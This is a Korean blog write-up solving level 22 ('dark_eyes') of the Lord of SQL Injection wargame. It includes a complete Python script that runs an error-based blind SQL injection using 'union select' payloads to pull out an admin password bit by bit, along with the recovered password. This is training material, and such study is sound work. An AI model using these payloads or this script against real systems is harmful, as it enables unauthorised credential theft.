본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 22번 - dark_eyes

by Robert8478 2023. 12. 22.

이번문제도 전 문제와 비슷한 형태입니다. 그런데 이번에는 if문의 사용이 금지되어있네요.
if문을 사용하지 않고 error based SQLi를 사용해야 하기 때문에 union select만 이용해서 에러를 도출해야합니다.

(select 1 union select (length(pw)>1))--+- 구문을 작성해서 넣으면 length와 비교하는 1 숫자에 따라 에러가 날 경우 에러메시지 없이 그냥 공백 화면이 출력됩니다. 공백 화면이 출력되면 에러라고 볼 수 있습니다.
그러면 이제 패스워드를 찾는 코드를 작성해야하는데 전에 했던 코드에 쿼리문만 살짝 수정하면 됩니다.

darkeye.py
import requests
 
requests.packages.urllib3.disable_warnings()
sess= requests.session()
headers= {'Cookie':'PHPSESSID=1tgns4m88c41rdkh5ei60sm1hq'}
 
# get length of column  ==========================
 
passwordLen= 0
 
for i in range(1,100):
    payload= "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
    res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
    if 'query' in res.text:
        passwordLen= i
        break
    else:
        pass
 
print('[=] Find Password Length : %d' % passwordLen)
 
 
bitLen  = 16
Password= ''
 
for j in range(1, passwordLen+1):
 
    bit= ''
 
    for i in range(1, bitLen+1):
        payload= "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
        res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
        if 'query' in res.text:
            # Error Occured!! It is not 1
            bit+= '1'
        else:
            # false!!
            bit+= '0'
 
    Password+= chr(int(bit,2))
    print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j,chr(int(bit,2)), bit,hex(int(bit,2))[2:]))
 
 
print('[=] Find Password : %s' % Password)

or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23
위처럼 if 대신 select 만을 활용하여 코드를 사용할 수 있습니다.
그렇게 나온 패스워드는 5a2f5d3c였습니다.

패스워드를 입력하여 클리어